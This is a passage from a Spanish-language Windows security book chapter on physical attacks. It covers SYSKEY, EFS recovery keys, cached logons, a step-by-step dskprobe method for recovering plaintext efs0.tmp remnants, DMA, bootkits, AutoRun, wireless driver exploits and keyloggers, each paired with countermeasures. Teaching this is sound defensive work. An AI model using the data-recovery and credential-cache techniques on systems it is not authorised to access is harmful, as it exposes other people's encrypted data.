ben sus acciones (por ejemplo, mediante vigilancia en video). Recomendamos el uso de todos
estos mecanismos donde los riesgos de seguridad física sean elevados.
11_SCAMBRAY_11.indd 351 7/28/08 9:48:50 PM

En el caso de sistemas independientes (hablaremos de las implicaciones de unirse a un do-

minio en un momento), el único método en el nivel del sistema operativo para desactivar par-
cialmente un ataque de esta naturaleza consiste en configurar Windows 2000 y posteriores para
iniciar en un modo de contraseña o disco flexible obligatorio de SYSKEY. (Consulte el capítulo 2
para conocer un análisis de los tres modos de SYSKEY).
Es interesante tomar nota de que Microsoft sostiene en su respuesta al artículo de Grace y
Bartlett que la capacidad de eliminar el SAM, causando que la contraseña de Administrador se
restablezca en NULL, puede resolverse con SYSKEY. No nos malinterprete; ya hemos demostra-
do que esto es falso a menos que esté establecido el modo de contraseña o disco flexible obliga-
torio de SYSKEY (el artículo no hace referencia a esto).
Mientras SYSKEY modo 2 o 3 evitará ataques simples como la eliminación de SAM para nu-
lificar la contraseña de Administrador, no disuadirá a los atacantes que usan chntpw para des-
habilitar SYSKEY, sin importar en qué modo esté (aunque estos riesgos dejan incapacitados al
sistema de destino si se encuentra en Windows 2000 y posteriores). Sin embargo, en un artículo
titulado “Análisis de vulnerabilidades discutibles en Syskey de Windows 2000 y el sistema de
cifrado de archivos” (consulte “Referencias y lecturas adicionales”), Microsoft indica que, a pe-
sar de que la deshabilitación de SYSKEY en el modo 2 o 3 pueden permitir que un atacante inicie
sesión en un sistema, será incapaz de acceder a archivos cifrados con EFS porque SYSKEY no
está almacenado en el sistema y, por tanto, no está disponible para desbloquear el almacén se-
cretos de LSA donde se conservan las claves EFS. Así, aunque SYSKEY implementada en modo
2 o 3 no sea suficiente para negar el acceso al sistema, negará el acceso a archivos cifrados con
EFS. Por tanto, recomendamos el establecimiento de SYSKEY en el modo 2 o 3 para usuarios mó-
viles que corren el riesgo de que les roben sus laptop.
Exporte claves de recuperación y almacénelas de manera segura Otro mecanismo en el nivel del
sistema operativo para mitigar el riesgo del ataque a la clave del agente de recuperación consis-
te en exportar esta clave y eliminarla del sistema local.
Por desgracia, Microsoft documenta deficientemente este procedimiento, de modo que lo
reiteramos aquí en detalle. Para exportar los certificados de agente de recuperación en sistemas
independientes, abra el objeto de directiva de grupo local (gpedit.msc), vaya al nodo Configura-
ción del equipo\Configuración de Windows\Configuración de seguridad\Directivas de clave
pública\Agentes de recuperación de datos cifrados, haga clic con el botón derecho en el agente
de recuperación que aparezca en la lista del panel de la derecha (por lo general, es Administra-
dor) y elija Todas las tareas | Exportar.
Se ejecutará un asistente que le pide que ingrese varias piezas de información antes de que
se exporte la clave. Para crear una copia de seguridad de la clave del agente de recuperación,
debe exportar la clave privada junto con el certificado; recomendamos que habilite protección
sólida (esto requiere una contraseña). Por último, asegúrese de seleccionar Eliminar la clave pri-
vada si se exporta correctamente. Este último paso es lo que hace que sea improbable (odiamos
decir que imposible) robar la clave para descifrar el agente de recuperación del sistema local.
Recuerde que si se elimina el certificado del agente de recuperación antes de exportarlo, se

Precaución
deshabilitará EFS porque Windows 2000 impone un agente de recuperación. ¡EFS no funciona a
menos que esté definido un agente de recuperación!
Los elementos que se han cifrado antes de la eliminación del agente de recuperación perma-
necen cifrados, pero, por supuesto, sólo puede abrirlos el usuario que los cifró, a menos que pue-
da recuperarse el agente de recuperación de la copia de seguridad.
11_SCAMBRAY_11.indd 352 7/28/08 9:48:51 PM

Implementación de EFS en el contexto de un dominio de Windows En el caso de máquinas unidas

a un dominio, la situación es diferente: el controlador de dominio conserva la clave de recupera-
ción para todos los sistemas del dominio.
Cuando un equipo con Windows 2000 o posterior se une a un dominio, la directiva de recu-
peración predeterminada del dominio se aplica de manera automática; el Administrador del
dominio, en lugar del Administrador local, se convierte en el agente de recuperación. Esto sepa-
ra físicamente las claves de recuperación de los datos cifrados y dificulta mucho el ataque al
agente de recuperación.
También es una buena práctica exportar el certificado del agente de recuperación de los con-
troladores de dominio. Si éstos se encuentran comprometidos, todos los dominios del sistema se
volverían vulnerables si la clave de recuperación estuviera disponible localmente.
Es importante recordar a todos que, a pesar de que la clave del agente de recuperación
esté protegida al exportarla y eliminarla de la máquina local, o al unirse a un dominio, nin-
guna de estas contramedidas protegerá a los datos cifrados con EFS de un atacante que com-
promete la cuenta del usuario que cifró los datos. Recuerde que la FEK cifrada con la clave
pública del usuario está almacenada en el DDF asociado con cada archivo cifrado con EFS.
El acto de iniciar sesión como ese usuario permitiría el descifrado transparente de todos los
archivos cifrados antes. Por tanto, SYSKEY modo 2 o 3 es la única protección válida real para
los datos de EFS.
sugerencia
Si usa SYSKEY modo 3, no almacene el disco flexible cerca del sistema protegido; de otra manera,
es muy probable que derroten su protección.
Para dejar en claro este punto, consideremos la caché de inicio de sesión de la familia NT.
Tiene la función de hacer, como mencionamos en el capítulo 2, que todas las credenciales de do-
minio de caché de los sistemas de la familia NT de la máquina local permitan la autentificación,
aunque no se pueda alcanzar el controlador de dominio. ¿Alguna vez se ha preguntado cómo
podrían iniciar sesión en el dominio desde su laptop cuando ni siquiera está conectado a la red?
Eso se debe a que, como opción predeterminada, los últimos 10 conjuntos de credenciales de au-
tentificación de dominio están almacenadas en la máquina (en esencia, ¡se está autenticando con
su propio par nombre de usuario/contraseña incluido en caché!)
Esta característica se describe en el artículo de la base de datos de conocimientos de Micro-
soft 172931, que también describe la clave de Registro para configurar este parámetro. Con Win-
dows 2000, este valor está expuesto mediante la opción Inicio de sesión interactivo: número de
inicios de sesión previos en la caché (en caso de que el controlador de dominio no esté disponi-
ble). Este parámetro es particularmente importante para EFS, porque si un atacante con acceso
físico a una máquina pudiera obtener la caché de inicio de sesión, podría autenticarse como
usuario y ver los archivos cifrados con EFS del usuario. Todd Sabin, del equipo de investigación
Razor de Bindview, presentó este ataque en la conferencia Black Hat de 2001, y también publicó
una breve descripción de este método en la lista de correos Bugtraq, a principios de 2003. Todd
demostró el uso de una herramienta que denominaba hashpipe para volcar la caché de inicio de
sesión de un sistema de la familia NT, revelando las contraseñas con hash de los inicios de sesión
en caché. (Tome nota de que hashpipe no se ha publicado). Aunque las contraseñas aún tendrían
que descubrirse (consulte el capítulo 7), este método expone un posible agujero en la seguridad
de EFS usado en el contexto de un dominio. ¿Solución? Establezca la caché de inicio de sesión
del dominio en 0, como se muestra en la figura 11-1.
11_SCAMBRAY_11.indd 353 7/28/08 9:48:51 PM

Precaución Al establecer la caché de inicio de sesión del dominio en cero se evitará que los usuarios del dominio
inicien sesión en un sistema, a menos que se pueda alcanzar al controlador de dominio.
Figura 11-1 El valor de caché de inicios de sesión previos en la directiva de seguridad local
de Windows XP
El uso de mecanismos de autentificación alternos (como solicitar una tarjeta inteligente para inicio
sugerencia
de sesión) es otra buena manera de evitar ataques contra la caché de inicio de sesión.
Cifrado de unidad Bitlocker (BDE, Bitlocker Drive Encryption) Con Windows Vista, Microsoft intro-
dujo Cifrado de unidad Bitlocker (BDE). Analizaremos BDE con más detalle en el capítulo 12.
Aunque BDE se diseñó principalmente para proporcionar mayor aseguramiento de la integridad
del sistema operativo, un resultado importante de su mecanismo de protección es desviar los
ataques fuera de línea que hemos descrito en este capítulo. En lugar de asociar las claves de ci-
frado de datos con cuentas de usuario individuales, como lo hace EFS, BDE cifra volúmenes en-
teros y almacena la clave de manera que es mucho más difícil comprometerlos (por lo menos, al
momento de publicar esto, no se había publicado ningún mecanismo efectivo). Con BDE, un ata-
cante que obtiene acceso irrestricto al sistema (digamos, al robar una laptop) no puede descifrar
los datos almacenados en el volumen cifrado porque Windows no se carga si se ha modificado,
y el inicio en un sistema operativo alterno no proporciona acceso a la clave de descifrado porque
está almacenada de manera segura. (Consulte el capítulo 12 para conocer más información sobre
las diversas opciones que BDE puede usar para proteger la clave de cifrado del volumen).
ATAQUES EN LÍNEA
Ahora que hemos cubierto los ataques físicos fuera de línea que suelen requerir el inicio en un
sistema operativo alterno, cambiemos velocidades y analicemos los ataques físicos que se imple-
mentan mientras el sistema está en línea.
11_SCAMBRAY_11.indd 354 7/28/08 9:48:52 PM

Recuperación de datos de archivos EFS temporales

Popularidad: 8
Simplicidad: 10
Impacto: 10
Este ataque difiere de los otros analizados antes en que no requiere el inicio en un sistema ope-
rativo alterno. Puede montarse mediante la interfaz de usuario estándar de Windows, dado el ac-
ceso privilegiado apropiado a un sistema y que los datos en cuestión no han sido sobrescritos por
operaciones de archivo normales. Puede implementarse remotamente suponiendo que el control
remoto interactivo es posible. Por supuesto, dado el acceso de Administrador a Windows, el ata-
cante puede simplemente usar las técnicas descritas antes para acceder a los archivos protegidos con
EFS. Sin embargo, el ataque descrito aquí proporciona mecanismos menos invasivos para acceder a
los datos que iniciar en un sistema operativo alterno y, por tanto, vale la pena explorarlo.
El 19 de enero de 2001, Rickard Berglind publicó una interesante observación a la popular
lista de correos de seguridad Bugtraq. Resulta que cuando se selecciona un archivo para cifrado
mediante EFS, el archivo en realidad no se cifra directamente. En cambio, una copia de seguri-
dad del archivo se mueve a un directorio temporal al que se le denomina efs0.tmp. Luego, los da-
tos de ese archivo se cifran y se usan para reemplazar el archivo original. El archivo de copia de
seguridad es eliminado después de que se termina el cifrado.
Sin embargo, después de que el archivo original se reemplaza con la copia cifrada y se elimi-
na el archivo temporal, los bloques físicos del sistema de archivos donde residían el archivo tem-
poral nunca se limpian. Estos bloques contienen los datos originales, sin cifrar. En otras palabras,
el archivo temporal es “eliminado” de la misma manera que cualquier otro archivo (se marca
como vacía una entrada en la tabla maestra de archivos y los clústeres donde el archivo estaba
almacenado se marcan como disponibles, pero el archivo físico y la información que contiene
permanecen en texto simple en la superficie física del disco). Cuando se agregan nuevos archi-
vos a la partición, sobrescriben gradualmente esta información, pero si el archivo cifrado era
largo, puede quedarse durante meses, dependiendo del uso del disco.
En una respuesta a la publicación de Rickard, Microsoft confirmó que este comportamiento
corresponde al diseño para archivos individuales que se cifran utilizando EFS y hacía referencia
a su archivo titulado “Sistema de cifrado de archivos para Windows 2000” (consulte “Referen-
cias y lecturas adicionales”, al final de este capítulo), que explica esto con toda claridad. También
hace algunas sugerencias para mejores prácticas a fin de evitar este problema, que analizaremos
un poco más tarde.
¿Cómo podría explotarse este comportamiento para leer datos cifrados con EFS? Estos datos
se leen con facilidad empleando un editor de disco de bajo nivel, como dskprobe.exe, de Support
Tools, en el CD-ROM de instalación de Windows 2000, que permite a usuarios con acceso de con-
sola al host local leer los datos del archivo cifrado. Analizaremos a continuación cómo usar ds-
kprobe para leer efs0.tmp.
En primer lugar, lance dskprobe y abra la unidad física apropiada para acceso de lectura al
seleccionar Drives | Physical Drive y hacer doble clic en la unidad física apropiada, en la ventana
de la esquina superior izquierda. Luego haga clic en el botón Set Active adyacente a esta unidad
después de que llene la parte Handle 0 de este cuadro de diálogo. Una vez que esté completo,
debe ver una ventana similar a la de la figura 11-2.
11_SCAMBRAY_11.indd 355 7/28/08 9:48:52 PM

Figura 11-2 Apertura de la unidad física para acceso de “lectura” en dskprobe. Observe que Handle 0
está abierto y establecido como activo
Una vez que se ha realizado esto, debe localizarse el sector apropiado que contiene los datos
que desea identificar. La localización de archivos en un disco físico puede ser como encontrar
una aguja en un pajar, pero puede usar el comando Tools | Search Sectors de dskprobe como
ayuda para la búsqueda. En el ejemplo mostrado en la figura 11-3, buscamos la cadena efs0.tmp
del sector 0 al final del disco. Observe que también hemos seleccionado que se use búsqueda ex-
haustiva, ignorar mayúsculas y minúsculas y caracteres Unicode (por alguna razón, no funciona
el uso de ASCII).
Una vez que se ha completado la búsqueda, si EFS se ha usado para cifrar un archivo en el
disco que se está analizando y si el archivo efs0.tmp no ha sido sobrescrito por alguna operación,
aparecerá en la interfaz dskprobe con el contenido en texto simple. Una búsqueda de la cadena
efs0.tmp también puede revelar otros sectores en el disco que contienen la cadena. (Un archivo
llamado efs0.log también contiene referencias a la ruta completa a efs0.tmp). Una manera de ase-
gurarse de que ha obtenido el archivo efs0.tmp en lugar de uno que contiene esa cadena consiste
en buscar la cadena FILE* en la parte superior de la interfaz de dskprobe. Esto indica que el sector
contiene un archivo. Tanto efs0.log como efs0.tmp se crean en el mismo directorio que el archivo
cifrado, pero no son visibles mediante las interfaces estándar, sino sólo a través de herramientas
como dskprobe. En la figura 11-4 se muestra un ejemplo del archivo efs0.tmp que se ha descubier-
to en el sector 21249 abierto en dskprobe, lo que revela el contenido del archivo en texto simple
(una vez más, observe la cadena FILE* en la parte superior, que indica que es un archivo).
Precaución
Una atacante puede lanzar dskprobe desde la red mediante una shell remota o una sesión de
Terminal Server, ¡no sólo desde la consola física!
Aunque los ataques de editor de disco de bajo nivel no son tan sencillos como simplemente
eliminar el SAM o inyectar hashes, es otra preocupación importante para quienes implementan
EFS en entornos donde los datos cifrados pueden estar expuestos a esos ataques.
11_SCAMBRAY_11.indd 356 7/28/08 9:48:53 PM

Figura 11-3 Dskprobe busca en el disco físico la cadena efs0.tmp
Figura 11-4 efs0.tmp se abre en dskprobe, revelando el contenido en texto simple del archivo
11_SCAMBRAY_11.indd 357 7/28/08 9:48:53 PM

Bloqueo de la recuperación del archivo temporal de EFS

En la respuesta de Microsoft al Bugtaq indicada antes, la compañía estableció que el archivo de
copia de seguridad en texto simple se crea sólo si se cifra un solo archivo. Si se crea un archivo
dentro de una carpeta cifrada, se cifrará desde el inicio, y no habrá un archivo de copia de segu-
ridad cifrado. Microsoft recomienda esto como procedimiento preferido cuando se use EFS para
proteger información sensible, como se describió en “Cifrado del sistema de archivos para Win-
dows 2000”, en la página 22 de ese texto.
Se recomienda que siempre es mejor empezar por crear una carpeta cifrada vacía y crear los archivos
directamente en esa carpeta. Al hacerlo, se asegura de que los bits de texto simple de ese archivo nunca se
guarden en otro lugar del disco. También tiene un mejor desempeño porque EPS no necesita crear una
copia de seguridad y luego eliminar ésta.
Lo que hay que recordar es que en lugar de cifrar archivos individuales, cifre una carpeta
que contenga todos los datos protegidos con EFS, y luego cree archivos confidenciales sólo en
ese directorio.
Microsoft también lanzó una versión actualizada de la herramienta EFS de línea de coman-
dos, cipher.exe, para corregir este problema. La versión actualizada puede utilizarse para desha-
cerse de los datos eliminados del disco para que no se pueda recuperar con algún mecanismo. El
cipher.exe actualizado puede obtenerse del URL que aparece en “Referencias y lecturas adicio-
nales”, al final de este capítulo, y requiere Service Pack 1.
sugerencia Asegúrese de instalar la herramienta actualización cipher.exe empleando el programa instalador. Si

se usa mal esta herramienta puede dar como resultado la pérdida de datos.
La herramienta cipher.exe actualizada borra los clústeres que se han dejado de asignar del
disco. Estos clústeres son partes de un sistema de archivos NTFS que alguna vez se usaron para
almacenar datos pero ya no se usan, porque el archivo que utilizaba los clústeres cambió o fue
eliminado. Por tanto, NTFS marcó estos clústeres como si estuvieran disponibles para asigna-
ción a un archivo diferente, si es necesario.
Para sobreescribir los datos que se han dejado de asignar empleando el nuevo cipher.exe,
haga lo siguiente:
1. Cierre todas las aplicaciones.

2. Abra el indicador de comandos, al seleccionar Inicio | Ejecutar e ingresando
COMANDO en la línea de comandos.
3. Escriba Cipher/W:<’directorio’> donde <’directorio’> es cualquier directorio de la
unidad que quiere limpiar. Por ejemplo, al escribir Cipher/W:c:\prueba hará que se
deje de asignar el espacio dentro de C:\prueba para que se sobrescriba.
La herramienta empezará a ejecutarse y desplegará un mensaje cuando se haya completado.

Si quiere deshacerse del espacio que se ha dejado de asignar en toda una unidad, monte la uni-
dad NTFS como un directorio (por ejemplo, una unidad podría montarse como C:\carpeta1\
Unidad_D). Este uso permite que se limpien todas las unidades NTFS.
Nota Para los lectores que son paranoicos, cipher en realidad realiza tres barridas: en el primer paso
escribe 0, en el segundo escribe 0×F y en el tercero escribe datos seudoaleatorios.
11_SCAMBRAY_11.indd 358 7/28/08 9:48:53 PM

Ataques a dispositivos/medios/conexiones de red

Como mencionamos en el capítulo 2, los ataques contra los controladores de dispositivos resi-
dentes en el kernel que analizan la entrada simple como las conexiones de red o los medios in-
sertados se discuten cada vez más en los círculos de investigación. Estos ataques comparten una
amenaza común, que es la propensión de Windows a permitir que conexiones de hardware físi-
cas o inalámbricas ejecuten código con un alto grado de privilegios. En esta sección analizare-
mos algunos ejemplos.
Acceso directo a memoria (DMA)

Popularidad: 4
Simplicidad: 3
Impacto: 9
Una de las debilidades que suelen explotarse de manera más común en la arquitectura de
una PC es el acceso directo a memoria (DMA, Direct Memory Access). Los lectores interesados
en conocer más detalles de DMA deben consultar “Referencias y lecturas adicionales”, pero para
los fines de este capítulo, DMA se comprende mejor como un mecanismo diseñado para omitir
el sistema operativo (y todos sus controles de seguridad) y leer y escribir en la memoria princi-
pal. ¿Suena como una vulnerabilidad importante de seguridad? Bueno, llamémosla una “carac-
terística”.
Utilizando esta “característica”, Michael Becher, Maximillian Dornseif y Christian N. Klein
demostraron una explotación en la conferencia CanSec West 2005 que usaba DMA para leer ubi-
caciones arbitrarias de memoria de un sistema con una firewall habilitada. Demostraron un ata-
que basado en un iPod que ejecutaba Linux y que estaba conectado al equipo de una víctima
para ejecutar comandos arbitrarios, completamente fuera del control o la detección del sistema
operativo. David Maynor presagió éste y muchos futuros ataques basados en el controlador del
dispositivo (incluidos algunos de los ataques inalámbricos que analizaremos más adelante) e
incluso demostró un ataque de DMA vía un dispositivo USB en Toorcon 2005. David Hulton
analizó ataques que usaban DMA vía la CardBus (el estándar de PCMCIA) en ShmooCon en
2005. Evidentemente, los dispositivos maliciosos tienen un gran futuro.
Bootkits
Popularidad: 5
Simplicidad: 5
Impacto: 9
Otro popular mecanismo de ataque físico consiste en cargar código malicioso desde el sector
de arranque de medios de arranque (que pueden incluir discos duros, CD, unidades USB y has-
ta puntos de arranque de red). Una implementación de ese tipo de ataque lo presentaron Derek
Soeder y Ryan Permeh de eEye Digital Security (www.eeye.com) en la conferencia Black Hat
USA de 2005.
11_SCAMBRAY_11.indd 359 7/28/08 9:48:54 PM

La implementación se llamó eEye BootRootKit para jugar con la noción de un rootkit inser-
tado mediante un medio de arranque. He aquí la descripción de eEye del BootRootKit:
eEye BootRootKit es… un sector de arranque de un medio extraíble que se posiciona a sí mismo para volver
a ejecutarse más adelante, mientras Windows se está cargando, y luego continuar sin problemas la secuencia
de arranque desde el disco duro 0. El concepto básico empleado consiste en enganchar INT 13h y “casi
parchar” el cargador del sistema operativo Windows mientras lo lee del disco, y luego utiliza este parche
para engancharse en NDIS.SYS después de que se ha cargado en la memoria y se ha validado. El propósito
de la función de gancho es simple: rastrear todos los marcos entrantes de Ethernet en busca de una firma en
una ubicación específica, y ejecutar código (con privilegios de kernel) desde cualquier marco coincidente.
Más recientemente, el término bootkit se ha popularizado para describir un rootkit que es ca-
paz de cargarse desde un registro maestro de arranque y persistir en la memoria durante toda la
transición al modo protegido y el inicio del sistema operativo. Tomando las cosas donde las dejó
eEye, Nitin Kumar y Vipin Kumar publicaron su trabajo en VBootkit (bootkit para Vista), que no
hace modificaciones a los archivos en disco, trabajando exclusivamente en memoria para man-
tenerse sin ser percibido. Kumar y Kumar aseguran haber pasado con éxito el Cifrado de unidad
Bitlocker (BDE, Bitlocker Drive Encryption) de Vista con esta técnica, aunque no hay resultados
disponibles al momento de escribir esto. Las conjeturas públicas de Microsoft (consulte el capí-
tulo 8) indican que BDE debe bloquear este ataque. Kumar y Kumar también están trabajando
en un TPMKit, que aseguran pasa por alto todas las protecciones impuestas por BDE, aunque
esté mejorado con un Módulo de plataforma confiable (TPM, Trusted Platform Module), un mó-
dulo de hardware que está diseñado para atestiguar la integridad de elementos clave del código
del proceso de arranque. La carga del ataque demostrada comúnmente eleva los indicadores de
comando a privilegios de SYSTEM en ciertos intervalos.
Un escenario posible para un ataque basado en bootkit consiste en usar la imagen ISO de CD-
ROM (como la incluida en el paquete de prueba de concepto de eEye), caminar a una máquina,
insertar el CD-ROM con el bootkit, oprimir el botón de encendido para restablecer el sistema y lue-
go alejarse. Suponiendo que el BIOS esté configurado para arrancar desde el CD-ROM, entonces
se usa el bootkit en el equipo una vez que Windows regresa. Esto reduce de manera importante la
cantidad de interacción que un atacante necesitaría para comprometer con éxito un sistema, si está
físicamente delante de él, haciendo que el ataque sea más difícil de detectar en forma visual.
Nota Consulte el capítulo 8 para conocer más detalles sobre los ataques generales con rootkits y sus
contramedidas.
Ejecución automática
Popularidad: 9
Simplicidad: 6
Impacto: 6
Un poco menos sofisticados que los bootkits son los denominados ataques de ejecución au-
tomática, basados en la característica AutoRun de Windows, que ejecuta automáticamente el
programa especificado por el archivo autorun.inf cada vez que se inserta un CD-ROM, un DVD
o una unidad USB. AutoRun puede especificar cualquier programa arbitrario, de modo que tie-
ne implicaciones obvias de seguridad.
11_SCAMBRAY_11.indd 360 7/28/08 9:48:54 PM

Una vez más, puede contemplar escenarios en que, sin desearlo, los usuarios insertan CD-
ROM, DVD o dispositivos USB de apariencia inocua, sólo para instalar en silencio rootkits mien-
tras se despliega la pantalla de bienvenida. Una de las distribuciones más visibles de software
encubierto, la debacle del rootkit de Sony, en realidad se lograba utilizando la funcionalidad de
ejecución automática (consulte “Referencias y lecturas adicionales”). Por fortuna, es fácil desac-
tivar la característica AutoRun, ya sea oprimiendo la tecla mayús cuando se inserta el medio o
cambiando el valor de Registro HKLM\System\CurrentControlSet\Services\CDRom\Auto-
run a 0 y reiniciar el sistema.
Ataques a conexiones inalámbricas de red

Popularidad: 5
Simplicidad: 5
Impacto: 10
Empleando tecnología inalámbrica de red, los atacantes tal vez ni siquiera tengan que tocar
físicamente un sistema para comprometerlo (aunque obviamente se requiere cierta proximidad
física, que es la razón por la que tratamos el tema en este capítulo). En la conferencia de seguri-
dad Defcon 14 en 2006, Johnny Cache develó ataques contra controlador de conexión de red ina-
lámbrica 802.11 que le permitían comprometer sistemas en el nivel de kernel durante el acto de
descubrimiento de puntos de acceso inalámbricos locales.
En un artículo posterior donde explicaban su técnica (consulte “Referencias y lecturas adi-
cionales”), Cache, H. D. Moore y skape ilustraron ataques reales empleando esta técnica. La
esencia de la técnica consiste en enviar a la víctima marcos simples de 802.11 que se procesan
mientras el destino no se ha autentificado o está asociado con un punto de acceso inalámbrico.
Más específicamente, los autores crearon solicitudes falsas y marcos de respuesta normalmente
empleados para descubrir y anunciarse ante redes inalámbricas cercanas. Empleando ruido, el
marco conceptual Metasploit y apoyándose en técnicas publicadas de desarrollo de explotacio-
nes de kernel de Windows, los autores descubrieron vulnerabilidades en los controladores del
adaptador inalámbrico comercial 802.11 de BroadCom (SSID de tamaño excesivo en solicitudes
y respuestas dirigidas causaron sobreflujos de la pila), D-Link (el elemento de información Sup-
ported Rates de tamaño excesivo desencadenó sobreflujo de la pila cuando se usó para enviar
solicitudes a clientes vulnerables dentro del rango) y NetGear (los elementos de información
SSID, Supported Rates y Channel de tamaño excesivo desencadenaron sobreflujo de la
pila) todo lo cual dio como resultado un compromiso en el nivel del kernel del sistema de desti-
no, simplemente después de recibir marcos de 802.11 creados de manera especial.
Un escenario para implementar ese tipo de ataques es vía los denominados gemelos malignos
(puntos de acceso falsos configurados para parecer legítimos puntos de acceso activo, como los
hotspots de T-Mobile en las cafeterías). En la figura 11-5 se muestra el explorador Windows Wire-
less Network Connection explorando puntos de acceso posiblemente maliciosos. Internet Securi-
ty System analizó este concepto desde 2002 en un artículo sobre la clonación de estaciones de base
inalámbricas, y ha obtenido más atención a medida que ha proliferado la tecnología inalámbrica.
Un ataque relacionado conocido como cliente promiscuo incluye un punto de acceso falso y una
estación ad hoc que proporciona una señal irresistiblemente fuerte y se vuelve la conexión de red
preferida. La próxima vez que esté sorbiendo café en su cafetería local y decida abrir su laptop
para ver los posibles puntos activos inalámbricos disponibles, ¡piénselo dos veces!
11_SCAMBRAY_11.indd 361 7/28/08 9:48:54 PM

Figura 11-5 ¿Conectividad o compromiso inalámbrico en espera?
Aunque no hemos visto investigaciones, imaginamos que ataques similares contra Bluetooth
también son factibles. Hay comunidades robustas que ya se dedican a enviar mensajes no solici-
tados vía Bluetooth a destinatarios desprevenidos cercanos (a esta actividad se le ha denominado
“Bluejacking”), además del más peligroso “Bluesnarfing”, que intenta acceso no autorizado al
dispositivo de la víctima. Recomendamos deshabilitar la configuración de capacidad de “descu-
brir” en sus dispositivos Bluetooth para mitigar estos tipos de ataques.
Registradores de teclado
Popularidad: 7
Simplicidad: 4
Impacto: 9
Al final, pero no por ello es menos importante, analizamos los registradores de teclado de
hardware para cerrar esta sección sobre ataques físicos. Estos dispositivos pueden empalmarse en-
tre el teclado y el equipo y registrar cada teclazo sin que lo note el sistema operativo. Aunque tal
vez sea el menos atractivo de los ataques que hemos analizado hasta ahora, los tomamos en
11_SCAMBRAY_11.indd 362 7/28/08 9:48:55 PM

cuenta porque obviamente son muy efectivos para comprometer información confidencial de
una manera que suele ser difícil de detectar sin inspección física regular. Y con los modernos ca-
bles de teclado USB que no requieren interacción con el sistema operativo para desconectar o
volver a conectar el teclado, este tipo de ataque es fácil de realizar y difícil de detectar.
Contramedidas ante los ataques a dispositivos/medios/conexiones de red

Debido a que los ataques que hemos descrito son resultado principalmente de fallas en contro-
ladores de dispositivos de software por parte de los fabricantes de dispositivos, el usuario pro-
medio puede hacer poco para defenderse de ellos, más allá de mantener actualizado el software
del dispositivo. Su única opción es ser muy cuidadoso con las conexiones de dispositivos, me-
dios o redes. Suele ser fácil rechazar dispositivos o medios insertados manualmente de fuentes
no confiables, pero con las casi invisibles conexiones inalámbricas el reto es mayor. Recomenda-
mos usar hardware que proporcione un interruptor de encendido y apagado de radio inalámbrico
y mantenerlo “apagado” cuando sea posible (como cuando viaja por entornos “hostiles” como
áreas metropolitanas muy pobladas o aeropuertos donde los puntos de acceso inalámbricos son
múltiples y pocos notarían uno falso). ¡Recuerde que sólo se necesita un paquete de solicitud de un
punto de acceso inalámbrico malvado para comprometer su equipo!
sugerencia No se confunda, los estándares de cifrado inalámbrico, la capa de conexiones seguras (SSL, Secure
Socket Layer), los mecanismos de redes y conexiones privadas virtuales (VPN, Virtual Private
Network/Networking), o una combinación de ellas, no lo protegen contra estos tipos de ataques. El
compromiso ocurre en la capa de vínculo, antes de que cualquier técnica estándar de cifrado de
comunicaciones se vuelva relevante.
RESUMEN
Por ahora, debe comprender que cualquier intruso que obtenga acceso físico irrestricto a un sis-
tema Windows es capaz de acceder casi a cualquier dato que desee en ese sistema. Como miem-
bro del equipo de computación confiable de Microsoft, Scott Culp escribe en sus “Diez leyes
inmutables de la seguridad” (consulte “Referencias y lecturas adicionales” para tener un víncu-
lo): “Ley #3: si un chico malo tiene acceso irrestricto a su equipo, éste ya dejó de ser su equipo”.
Debido a la tremenda ventaja que disfruta un atacante con acceso físico, las mejores contra-
medidas deben incluir siempre los mecanismos clásicos: mantener los sistemas físicamente se-
guros (empleando bloqueos, monitoreo, alarmas, o una combinación apropiada de éstos para el
lugar, el gabinete del equipo o el dispositivo móvil), eliminar o deshabilitar las unidades de me-
dios extraíbles y establecer una contraseña de BIOS que deba ingresarse antes de que se arran-
que el sistema. Lo óptimo es que establezca una contraseña para acceso a disco duro utilizando
especificaciones ATA-3 o mayor. El monitoreo efectivo y los procedimientos de alerta también
son importantes, de modo que si alguien más se las ingenia para tener acceso a un equipo, por
lo menos se graben sus acciones (por ejemplo, mediante video de vigilancia) y se notifique a las
autoridades apropiadas. Recomendamos el uso de todos estos mecanismos donde el riesgo a la
seguridad física sea alto.
Puede hacer cosas para mitigar el riesgo de ataques físicos usando las características de Win-
dows, incluidos Cifrado de unidad Bitlocker (BDE), implementación de EFS en el contexto de un
dominio y uso de SYSKEY modo 2 o 3. Preste atención a la caché de inicio de sesión de dominio,
11_SCAMBRAY_11.indd 363 7/28/08 9:48:55 PM

para que estas credenciales no sean usadas para atacar las credenciales guardadas en la caché
local del usuario.
Por último, examinamos brevemente algunos nuevos ataques contra controladores de dispo-
sitivos de hardware, los más alarmantes de los cuales fueron los ataques a adaptadores de redes
inalámbricas que podrían resultar en el compromiso del sistema con sólo recibir comunicacio-
nes invisibles desde un punto de acceso inalámbrico falso. Es poco lo que puede hacerse para
defenderse de estos ataques hoy en día, aparte de apagar los radios inalámbricos cuando se esté
en entornos no confiables.
Y para aquellos que piensan que estamos demasiado paranoicos con respecto al riesgo de
ataque físico, recuerde este capítulo la siguiente vez que usted transporte su laptop con 80 giga-
bytes de información a través de ¡un aeropuerto atestado!.

Herramientas
ERD Commander (ya www.microsoft.com/systemcenter/winternals.mspx

no está disponible para
compra)
Windows Preinstallation www.microsoft.com/licensing/sa/benefits/winpe.mspx

Environment (WinPE)
BartPE www.nu2.nu/pebuilder/
Bootdisk.com www.bootdisk.com/
Offline NT Password & http://home.eunet.no/~pnordahl/ntpasswd/

Registry Editor (chntpw)
Versión mejorada de la www.microsoft.com/technet/security/tools/cipher.mspx

herramienta cipher.exe
que puede sobreescribir
permanentemente todos
los datos eliminados en
un disco duro
Utilizar Efsinfo.exe para http://support.microsoft.com/?kbid=243026

especificar información
acerca de archivos
cifrados
dskprobe.exe Windows 2000 Support Tools en el CD-ROM de instalación
Revisión técnica de EFS www.microsoft.com/technet/security/guidance/

de Microsoft clientsecurity/dataencryption/analysis/default.mspx
11_SCAMBRAY_11.indd 364 7/28/08 9:48:56 PM

Resumen del artículo Tema de búsqueda= “ISS SAVANT Advisory 00/26” en
original de Grace y Ntbugtraq.com
Bartlett por ISS
Información de dominio http://support.microsoft.com/?kbid=172931
almacenado en caché de
inicio de sesión
Publicación de Todd seclists.org/bugtraq/2003/Jan/0161.html

Savin en Bugtraq:
“Attacking EFS through
cached domain logon
credentials”
Acceso directo a memoria http://en.wikipedia.org/wiki/Direct_memory_access
(DMA)
Demostración del ataque Buscar “dmaynor-youarethetrojan.pdf”
a DMA con USB de David
Maynor en Toorcon 2005
eEye BootRoot http://research.eeye.com/html/tools/
